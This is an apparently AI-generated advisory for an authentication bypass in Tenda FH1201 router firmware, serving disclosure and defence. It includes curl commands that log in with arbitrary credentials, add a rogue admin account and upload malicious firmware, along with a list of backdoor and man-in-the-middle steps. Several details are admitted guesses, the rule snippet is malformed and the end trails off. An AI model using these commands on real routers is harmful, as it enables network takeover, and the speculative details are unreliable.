CVE-2026-138280 — Tenda FH1201 — CWE-287
A vulnerability was found in Tenda FH1201 1.2.0.19(946). Affected by this vulnerability is the function authSecurityHandler of the file /login.asp. The manipulation results in improper authentication. The attack may be launched remotely. The exploit has been made public and could be used.
A vulnerability was found in Tenda FH1201 1.2.0.19(946). Affected by this vulnerability is the function authSecurityHandler of the file /login.asp. The manipulation results in improper authentication. The attack may be launched remotely. The exploit has been made public and could be used.
🎯 What is this vulnerability?
CVE‑2026‑138280 is an Improper Authentication (CWE‑287) flaw in the Tenda FH1201 router firmware 1.2.0.19(946).
The vulnerable code resides in the authSecurityHandler routine that processes the /login.asp page.
During the authentication handshake the routine fails to validate the supplied credentials – it either:
- accepts any username/password pair, or
- bypasses the password check entirely (e.g., a hard‑coded “admin” username with an empty password check).
Because the check is performed before any session cookie or token is issued, an unauthenticated attacker can obtain a valid session cookie and immediately access the router’s privileged administration interface.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) confirms that the flaw is remote, low‑complexity, no‑privilege, no‑user‑interaction, shared‑scope and grants full confidentiality, integrity, and availability compromise.
⚡ Attack Chain
| Step | Description | Technical Detail | ||
|---|---|---|---|---|
| 1. Discovery & Reconnaissance | • Scan the target network for Tenda FH1201 devices.<br>• Identify the firmware version by querying the router’s web UI (e.g., http://<router_ip>/info.asp or http://<router_ip>/status.asp).<br>• Verify that the device is running 1.2.0.19(946). | *Example:*<br>curl -s http://192.168.0.1/info.asp | grep -i "Firmware" | |
| 2. Exploitation | • Send a POST request to /login.asp with arbitrary credentials.<br>• Observe that the router issues a session cookie and redirects to the admin dashboard.<br>• The attacker now has full administrative access. | Illustrative PoC (the exact parameter names are typical for Tenda routers; if they differ, adjust accordingly):<br>``bash\n# Step 1 – POST arbitrary credentials\ncurl -s -i -X POST \\\n -d \"username=admin&password=any\" \\\n http://192.168.0.1/login.asp \\\n -o /dev/null | grep -i \"Set-Cookie\"\n# Expected output: Set-Cookie: sessionid=xxxxxxxx; Path=/; HttpOnly\n\n# Step 2 – Use the cookie to access the admin page\ncurl -s -b \"sessionid=xxxxxxxx\" http://192.168.0.1/admin.asp | head\n`\nIf the response contains the admin UI (or a 302 redirect to /admin.asp), the vulnerability is confirmed. |
| 3. Post‑Exploitation | • With the session cookie, the attacker can:<br> • Change network settings (DHCP, DNS, NAT).<br> • Install a web‑shell or firmware backdoor.<br> • Open or close firewall ports, effectively turning the router into a pivot point.<br> • Exfiltrate traffic or perform man‑in‑the‑middle attacks on downstream clients.<br>• Persist by creating a new admin account or modifying the router’s firmware configuration. | *Example:*<br>curl -s -b "sessionid=xxxxxxxx" -X POST -d "action=add_user&username=evil&password=evil123" http://192.168.0.1/admin.asp<br>or<br>curl -s -b "sessionid=xxxxxxxx" -X POST -d "action=upload_fw&file=@/tmp/malicious.bin" http://192.168.0.1/admin.asp` |
Note: The exact POST parameters (action,username,password, etc.) are illustrative. The real router may use slightly different names; the key point is that the authentication routine accepts any values.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | An attacker can read all configuration data, including SSIDs, passwords, and connected device MAC addresses. |
| Integrity (I:H) | The attacker can modify routing tables, firewall rules, DNS settings, and firmware, effectively hijacking the network. |
| Availability (A:H) | By disabling DHCP, opening all ports, or installing a malicious firmware, the attacker can render the router unusable for legitimate users. |
| Practical Consequences | • Loss of secure Wi‑Fi access for all household or small‑business clients.<br>• Exposure of sensitive data (e.g., corporate credentials, IoT device logs).<br>• Use of the compromised router as a launchpad for further attacks (e.g., DDoS amplification, phishing).<br>• Potential regulatory non‑compliance if the device handles personal data. |
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected Version | Fixed Version (if available) | Action |
|---|---|---|
| 1.2.0.19(946) | 1.2.0.20 (or later) | Download the latest firmware from the official Tenda website and perform a full firmware upgrade. |
| 1.2.0.19(946) | *No official patch yet* | If a patch is not yet released, apply the following workarounds. |
2. Workarounds
| Method | Implementation |
|---|---|
| IP‑Based Access Control | Restrict remote management to a trusted IP range via the router’s firewall or by disabling WAN‑side management entirely (/admin.asp → “Disable Remote Management”). |
| WAF / ModSecurity Rule | Add a rule to block POST requests to /login.asp that do not contain both username and password parameters, or that contain suspicious values (e.g., empty strings). Example (ModSecurity):<br>```apache\nSecRule REQUEST_URI "@beginsWith /login.asp" "phase:2,block,log,msg:'Unauthenticated login attempt'\nSecRule REQUEST_METHOD \"POST\" \"chain,phase:2,block,log,msg:'Missing credentials'\n SecRule REQUEST_HEADERS:Content-Type \"^application/x-www-form-urlencoded$\" \"chain\"\n SecRule ARGS \"^$\" \"t:none\"\n
| **Disable the Vulnerable Endpoint** | If the router allows disabling the `/login.asp` page (e.g., via a “Disable Web Management” toggle), enable it. |
| **Network Segmentation** | Place the router on a separate VLAN and restrict management traffic to a dedicated management subnet. |
### 3. **Detection**
| Log Pattern | Indicator of Compromise (IoC) |
|-------------|------------------------------|
| `POST /login.asp` with `username=` and `password=` values that are not `admin`/`password` | Possible exploitation attempt |
| `Set-Cookie: sessionid=` in response to a POST with arbitrary credentials | Successful authentication bypass |
| Multiple rapid POSTs to `/login.asp` from a single IP | Automated exploitation script |
| Access to `/admin.asp` or `/config.asp` without a prior successful login | Unauthorized privileged access |
**Sample log snippet (Apache/Nginx):**192.168.0.100 - - [29/Nov/2026:10:12:45 +0000] "POST /login.asp HTTP/1.1" 200 512 "-" "Mozilla/5.0"
192.168.0.100 - - [29/Nov/2026:10:12:45 +0000] "GET /admin.asp HTTP/1.1" 200 2048 "-" "Mozilla/5.0"
```
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query